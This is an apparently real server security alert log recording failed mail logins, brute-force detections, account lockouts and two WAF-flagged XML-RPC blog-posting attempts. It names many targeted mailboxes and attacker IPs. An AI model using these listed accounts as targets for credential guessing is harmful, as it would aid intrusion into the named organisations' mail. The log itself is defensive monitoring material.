2026-02-01 05:30:15 dovecot_login authenticator failed for H=(zOeETGea) [158.94.208.175]:65043: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:30:15 dovecot_login authenticator failed for H=(6RQ1sSk8I) [84.239.7.19]:40207: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:30:19 dovecot_login authenticator failed for H=(q6Q5w8) [158.94.208.215]:56194: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:30:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:30:26 dovecot_login authenticator failed for H=(7WhoNNaSA) [45.94.31.131]:53181: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.189.211.114
country_id: 1814991
description:
2026-02-01 05:30:53 dovecot_login authenticator failed for H=([222.189.211.114]) [222.189.211.114]:35192: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:30:24 dovecot_login authenticator failed for H=(hkBm5Xw7) [178.16.54.22]:50604: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:30:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:30:20 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:57732: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:30:24 dovecot_login authenticator failed for H=(nmHoB7p) [141.98.11.11]:52149: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:30:05 dovecot_login authenticator failed for H=(miApyXCpkb) [45.94.31.131]:64269: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:30:09 dovecot_login authenticator failed for H=(TKD4gN) [185.36.81.54]:62689: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.47.138.157
country_id: 6252001
description:
2026-02-01 05:31:03 dovecot_login authenticator failed for H=(136-47-138-157.googlefiber.net) [136.47.138.157]:47884: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:31:06 dovecot_login authenticator failed for H=(JV6pRwVAe) [84.239.7.19]:12886: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:31:24 dovecot_login authenticator failed for H=(b0XCGGN2u) [158.94.208.175]:60868: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:31:39 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61517: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:31:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:31:07 dovecot_login authenticator failed for H=(8y39cKrYk) [158.94.208.215]:50418: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:31:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:31:10 dovecot_login authenticator failed for H=(SqEX2Jy) [178.16.54.22]:57301: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:31:10 dovecot_login authenticator failed for H=(sSqWiv42) [185.36.81.54]:65242: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:31:54 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61163: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:31:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:31:07 dovecot_login authenticator failed for H=(KSudvUKX) [45.94.31.131]:63877: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:31:20 dovecot_login authenticator failed for H=(Y8mGOEXY) [141.98.11.11]:59488: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:31:45 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:32:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:32:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:32:27 dovecot_login authenticator failed for H=(aQmpd5yN) [141.98.11.11]:64683: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:32:37 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55323: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.185.80.128
country_id: 6252001
description:
2026-02-01 05:32:33 dovecot_login authenticator failed for H=(localhost.localdomain) [89.185.80.128]:50076: 535 Incorrect authentication data (set_id=2095prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.84.209.188
country_id: 1814991
description:
2026-02-01 05:32:39 dovecot_login authenticator failed for H=([117.40.175.86]) [223.84.209.188]:59474: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:32:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 05:32:57 dovecot_login authenticator failed for H=(XDBMubuki) [45.92.33.82]:53184: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:32:09 dovecot_login authenticator failed for H=(Qygw3Efy7b) [84.239.7.19]:4356: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:32:09 dovecot_login authenticator failed for H=(3hF0LcykFV) [45.94.31.131]:64483: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:32:09 dovecot_login authenticator failed for H=(ekC5wO) [185.36.81.54]:50068: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:32:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:32:20 dovecot_login authenticator failed for H=(O12Fcn) [178.16.54.22]:59873: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:32:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60634: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:32:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:32:10 dovecot_login authenticator failed for H=(vKjY6PQ4) [158.94.208.175]:49192: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:32:19 dovecot_login authenticator failed for H=(SBXLPD0) [158.94.208.215]:52370: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.237.108
country_id: 1814991
description:
2026-02-01 05:32:25 dovecot_login authenticator failed for H=([218.22.237.108]) [218.22.237.108]:54236: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:33:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:33:35 dovecot_login authenticator failed for H=(P25LNLwzXo) [141.98.11.11]:52202: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:33:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50317: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 05:33:05 dovecot_login authenticator failed for H=(AHs9cS) [45.92.33.82]:53369: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:33:10 dovecot_login authenticator failed for H=(OoHcKWbscT) [45.94.31.131]:64593: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:33:47 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:64962: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-02-01 05:33:50 dovecot_login authenticator failed for H=(217-29-30-135.saimanet.kg) [217.29.30.135]:41073: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:33:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:33:06 dovecot_login authenticator failed for H=(1Il0em0) [178.16.54.22]:59169: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.231.201.113
country_id: 3175395
description:
2026-02-01 05:33:45 dovecot_login authenticator failed for H=host-95-231-201-113.business.telecomitalia.it [95.231.201.113]:32912: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:33:51 dovecot_login authenticator failed for H=(VVD2nIZ) [178.16.52.139]:58040: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:33:21 dovecot_login authenticator failed for H=(eWX61KnDf) [185.36.81.54]:53044: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:33:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:33:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:33:07 dovecot_login authenticator failed for H=(dJ8pMlB) [158.94.208.215]:62508: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:33:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:33:19 dovecot_login authenticator failed for H=(CpkecGC) [158.94.208.175]:50823: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:33:19 dovecot_login authenticator failed for H=(kDXDM1) [84.239.7.19]:62435: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.250.50
country_id: 1814991
description:
2026-02-01 05:33:40 dovecot_login authenticator failed for H=(50.250.223.60.adsl-pool.sx.cn) [60.223.250.50]:34514: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:33:47 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:64940: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.88.196.91
country_id: 6252001
description:
2026-02-01 05:34:34 dovecot_plain authenticator failed for H=c-73-88-196-91.hsd1.ky.comcast.net (scrucha) [73.88.196.91]:35490: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:34:05 dovecot_login authenticator failed for H=(lQUG0A6) [158.94.208.175]:49714: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:34:15 dovecot_login authenticator failed for H=(pZwIuA) [178.16.52.139]:60321: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 05:34:28 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:38225: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:34:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.60.147.65
country_id: 895949
description:
2026-02-01 05:34:37 dovecot_plain authenticator failed for H=(lingly) [41.60.147.65]:41148: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:34:01 dovecot_login authenticator failed for H=(ajFEKFPG) [84.239.7.19]:2964: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:34:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:34:09 dovecot_login authenticator failed for H=(LDlvSF9Gi) [141.98.11.11]:55691: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:34:15 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60779: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.197.75.67
country_id: 1269750
domain: oxbold.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:94031.oxbold.com||ServerName:oxbold.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ec3525654ae5ab05b4b7ff37793028be0651ce7||Title:0x7b3aca0a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:34:52 dovecot_login authenticator failed for H=(MRBAH7wO) [185.36.81.54]:55168: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.84.25.45
country_id: 3175395
description:
2026-02-01 05:34:07 dovecot_plain authenticator failed for H=(supper) [82.84.25.45]:47499: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:34:09 dovecot_login authenticator failed for H=(f1Onq8A) [45.94.31.131]:56187: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.13.71.126
country_id: 1814991
description:
2026-02-01 05:34:11 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [123.13.71.126]:5336: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:34:19 dovecot_login authenticator failed for H=(U2Rn16WpGO) [158.94.208.215]:52644: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:34:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:34:15 dovecot_login authenticator failed for H=(bgTNJo0) [178.16.54.22]:59412: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:35:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:35:15 dovecot_login authenticator failed for H=(UN8r0T) [158.94.208.175]:61829: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:35:07 dovecot_login authenticator failed for H=(wAeyuqiJDN) [158.94.208.215]:49611: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.185.80.128
country_id: 6252001
description:
2026-02-01 05:35:08 dovecot_login authenticator failed for H=(localhost.localdomain) [89.185.80.128]:54858: 535 Incorrect authentication data (set_id=2095intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:35:12 dovecot_login authenticator failed for H=(QRgLu1J9ve) [84.239.7.19]:25556: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:35:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 05:35:22 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:32812: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:35:03 dovecot_login authenticator failed for H=(hzDXukZTa) [178.16.52.139]:51254: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 138.84.82.210
country_id: 1694008
domain: oxbold.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:36415.oxbold.com||ServerName:oxbold.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8cf622415bbd6f7432c5bcc0001cdde01fec2e27||Title:0xfaecaad4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:35:14 dovecot_login authenticator failed for H=(Bq1p8Gcz) [45.94.31.131]:49453: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-02-01 05:35:16 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:34780: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:35:23 dovecot_login authenticator failed for H=(OocZZD1h) [141.98.11.11]:62998: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:35:24 dovecot_login authenticator failed for H=(5zNOC5) [178.16.54.22]:60373: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.37.250
country_id: 1814991
description:
2026-02-01 05:35:06 dovecot_login authenticator failed for H=([218.21.37.250]) [218.21.37.250]:46670: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:35:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:35:11 dovecot_login authenticator failed for H=(H55kmG) [185.36.81.54]:59625: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:36:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:36:30 dovecot_login authenticator failed for H=(6R3FJ9NLn) [141.98.11.11]:59960: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-01 05:36:59 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:12916: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:36:18 dovecot_login authenticator failed for H=(Y30V53) [84.239.7.19]:57824: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:36:15 dovecot_login authenticator failed for H=(PSSC3W) [178.16.52.139]:52040: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:36:01 dovecot_login authenticator failed for H=(cSI4tWl) [158.94.208.175]:51571: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:36:12 dovecot_login authenticator failed for H=(wMKMuFry) [45.94.31.131]:63337: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:36:15 dovecot_login authenticator failed for H=(GGhXRCy) [178.16.52.139]:55688: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:36:19 dovecot_login authenticator failed for H=(F2Iai3JUm) [158.94.208.215]:50542: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:36:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:36:09 dovecot_login authenticator failed for H=(P0sly03) [178.16.54.22]:61862: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:36:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.185.80.128
country_id: 6252001
description:
2026-02-01 05:37:06 dovecot_login authenticator failed for H=(localhost.localdomain) [89.185.80.128]:58546: 535 Incorrect authentication data (set_id=2095central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:37:03 dovecot_login authenticator failed for H=(j2JrHA) [178.16.52.139]:51567: 535 Incorrect authentication data (set_id=info@cordage.com.my)


